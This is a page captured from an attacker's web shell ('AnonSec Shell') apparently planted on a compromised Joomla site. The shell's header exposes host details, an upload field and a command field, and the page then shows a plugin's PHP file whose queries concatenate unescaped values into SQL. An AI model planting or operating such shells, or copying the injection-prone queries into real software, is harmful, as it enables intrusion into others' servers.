AnonSec Shell
Server IP : 213.186.33.4  /  Your IP : 216.73.216.59
Web Server : Apache
System : Linux webm006.cluster103.gra.hosting.ovh.net 5.15.206-ovh-vps-grsec-zfs-classid #1 SMP Fri May 15 02:41:25 UTC 2026 x86_64
User : awebpaca ( 35430)
PHP Version : 8.5.0
Disable Function : _dyuweyrj4,_dyuweyrj4r,dl
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /home/awebpaca/visitevirtuelle/plugins/system/ova/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME ]     

Current File : /home/awebpaca/visitevirtuelle/plugins/system/ova/data.php
<?php 
/**
 * @version     $Id$
 * @author      OvaTheme
 * @package     Joomla.Site
 * @subpackage  com_ovacomposer
 * @copyright   Copyright (C) 2013 OvaTheme. All rights reserved.
 * @license     License GNU General Public License version 2 or later; see LICENSE.txt, see LICENSE.
 */

class OvaData{
	public $doc=null;
	private $version="";
	public function __construct(){
		$this->doc = JFactory::getDocument();
		$arr = explode('.',JVERSION);
		$this->version = $arr[0];
	}

	public static function addLayout($file){
		jimport( 'joomla.filesystem.file' );
		$tpl 		= JFactory::getApplication()->getTemplate();
		$override_tem 	= JPATH_BASE.'/templates/'.$tpl.'/html/ova_layout/'.$file.'.php';
		$origin_tem 	= JPATH_PLUGINS . "/system/ova/ova_layout/".$file.'.php';
		if(JFile::exists($override_tem)){
			return array("check"=>true,"src"=>$override_tem);
		}else if(JFile::exists($origin_tem)){
			return array("check"=>true,"src"=>$origin_tem);
		}else{
			return array("check"=>false,"src"=>"");
		}
	}

	public function checkSidebar(){
		$app        = JFactory::getApplication();
		$template   = $app->getTemplate(true);
		$params     = $template->params;
		return $params->get('type');
	}

	public function getContentRecent($id=0,$limit='ALL'){
		$db = JFactory::getDbo();
		$query=$db->getQuery(true);
		$where = array('a.state=1');
		if($id!=0){
			$where[]='catid='.$id;
		}
		$query 		->select('a.id,a.title,a.alias,a.catid,a.introtext,a.created,a.images,b.alias AS categoryalias')
					->from('#__content AS a')
					->join('INNER','#__categories AS b ON (a.catid = b.id)')
					->where($where)
					->order('created DESC');
		$db->setQuery($query,0,$limit);
		return $db->loadObjectList();
	}

	public function getContentById($id){
		$db = JFactory::getDbo();
		$query=$db->getQuery(true);
		$where = array('a.state=1','a.id='.$id);
		$query 		->select('a.id,a.title,a.alias,a.catid,a.introtext,a.images,b.alias AS categoryalias')
					->from('#__content AS a')
					->join('INNER','#__categories AS b ON (a.catid = b.id)')
					->where($where);
		$db->setQuery($query);
		return $db->loadObject();
	}

	public function isImagesContent($array){
		$array = json_decode($array);
		if($array->image_intro==''){
			return false;
		}
		return true;
	}

	public function getImageContent($array){
		return json_decode($array)->image_intro;
	}

	public function getContentlink($item){
		require_once (JPATH_SITE.'/components/com_content/helpers/route.php');
		return JRoute::_(ContentHelperRoute::getArticleRoute($item->id.':'.$item->alias, $item->categoryalias));
	}


	public function getK2Recent($id=0,$limit="ALL"){
		$db = JFactory::getDbo();
		$query=$db->getQuery(true);
		$where = array('a.published=1');
		if($id!=0){
			$where[]='catid='.$id;
		}
		$query 		->select('a.id,a.title,a.alias,a.catid,a.introtext,a.extra_fields,a.created,b.name AS catname,b.alias AS categoryalias')
					->from('#__k2_items AS a')
					->join('INNER', '#__k2_categories AS b ON (a.catid = b.id)')
					->where($where)
					->order('created DESC');
		$db->setQuery($query,0,$limit);

		return $db->loadObjectList();
	}

	public function getK2byId($id){
		$db = JFactory::getDbo();
		$query=$db->getQuery(true);
		$where = array('a.published=1','a.id='.$id);
		$query 		->select('a.id,a.title,a.alias,a.catid,a.extra_fields,a.introtext,b.alias AS categoryalias')
					->from('#__k2_items AS a')
					->join('INNER','#__k2_categories AS b ON (a.catid = b.id)')
					->where($where);
		$db->setQuery($query);
		return $db->loadObject();

	}

	public function getImageK2($id,$size='XS'){
		return JURI::root().'media/k2/items/cache/'.md5("Image".$id).'_'.$size.'.jpg';
	}

	public function isImagesK2($id){
		jimport('joomla.filesystem.file') ;
		if(!JFile::exists(JPATH_SITE.'/media/k2/items/cache/'.md5("Image".$id).'_XS.jpg')){
			return false;
		}else{
			return true;
		}
	}

	public function getRouteOva($id){
		$db = JFactory::getDbo();
		$query = $db->getQuery(true);
		$query->select('extension_id')->from('#__extensions')->where("element='com_ovacomposer'");
		$db->setQuery($query);
		$extenid = $db->loadResult();

		$query= $db->getQuery(true);
		$query->select('id,params')->from('#__menu')->where("component_id=".$extenid." and published = 1");
		$db->setQuery($query);
		$items = $db->loadObjectList();
		$menuid = 0;
		foreach ($items as $key => $item) {
			if(json_decode($item->params)->designid == $id){
				$menuid=$item->id;
				break;
			}
		}
		if($menuid!=0){
			return JRoute::_('index.php?option=com_ovacomposer&view=page&Itemid='.$menuid);
		}else{
			return JRoute::_('index.php?option=com_ovacomposer&view=page&id='.$id);
		}
	}

	public function getK2link($id,$alias,$catid,$categoryalias){
		require_once (JPATH_SITE.'/components/com_k2/helpers/route.php');
		return urldecode(JRoute::_(K2HelperRoute::getItemRoute($id.':'.urlencode($alias), $catid.':'.urlencode($categoryalias))));
	}

	public function loadModule($position,$count=0,$style="none"){
		$db = JFactory::getDbo();
		$query = $db->getQuery(true);
		$query->select("*")->from("#__modules")->where('position=\''.$position.'\'');
		$db->setQuery($query);
		$result = $db->loadObjectList();
		if(count($result)==1){
			$title = $result[0]->title;
			$mod = $result[0]->module;
		}else{
			$title = $result[$count]->title;
			$mod = $result[$count]->module;
		}
		$module = JModuleHelper::getModule( $mod, $title );
		$attribs['style'] = $style;
		return JModuleHelper::renderModule( $module,$attribs);
	}

	public function loadModuleId($id){
		$db = JFactory::getDbo();
		$query = $db->getQuery(true);
		$query->select("*")->from("#__modules")->where('id=\''.$id.'\'');
		$db->setQuery($query);
		$result = $db->loadObject();
		$title = $result->title;
		$mod = $result->module;
		$module = JModuleHelper::getModule( $mod, $title );
		$module->content = JModuleHelper::renderModule( $module,array('style'=>'none'));
		return $module;
		//return JModuleHelper::renderModule( $module );
	}

    public function getk2Category($id=0,$limit="ALL"){
        $db = JFactory::getDbo();
        $query=$db->getQuery(true);
        $where = array('a.published=1');
        if($id!=0){
            $where[]='catid='.$id;
        }
        $query 		->select('a.id,a.title,a.alias,a.extra_fields,a.introtext, a.ordering, a.extra_fields_search')
            ->from('#__k2_items AS a')
            ->join('INNER', '#__k2_categories AS b ON (a.catid = b.id)')
            ->where($where)
            ->order('a.ordering DESC');
        $db->setQuery($query,0,$limit);

        return $db->loadObjectList();
    }

    // Load values of extrafield
    public function getvalextrafield($id){
		$db = JFactory::getDbo();
		$query = $db->getQuery(true);
		$where	= array('a.published=1');
		if($id!=0){
			$where[]='a.id='.$id;
		}
		$query 		->select('a.value, a.name')
            ->from('#__k2_extra_fields AS a')            
            ->where($where)
            ->order('ordering DESC');
        $db->setQuery($query);
        return $db->loadObject();
    }

    // Load values of extrafield
    public function getextraname($id){
		$db = JFactory::getDbo();
		$query = $db->getQuery(true);
		$where	= array('a.published=1');
		if($id!=0){
			$where[]='a.id='.$id;
		}
		$query 		->select('a.name,a.value')
            ->from('#__k2_extra_fields AS a')            
            ->where($where)
            ->order('ordering DESC');
        $db->setQuery($query);
        return $db->loadObject();
    }

}

Anon7 - 2022
AnonSec Team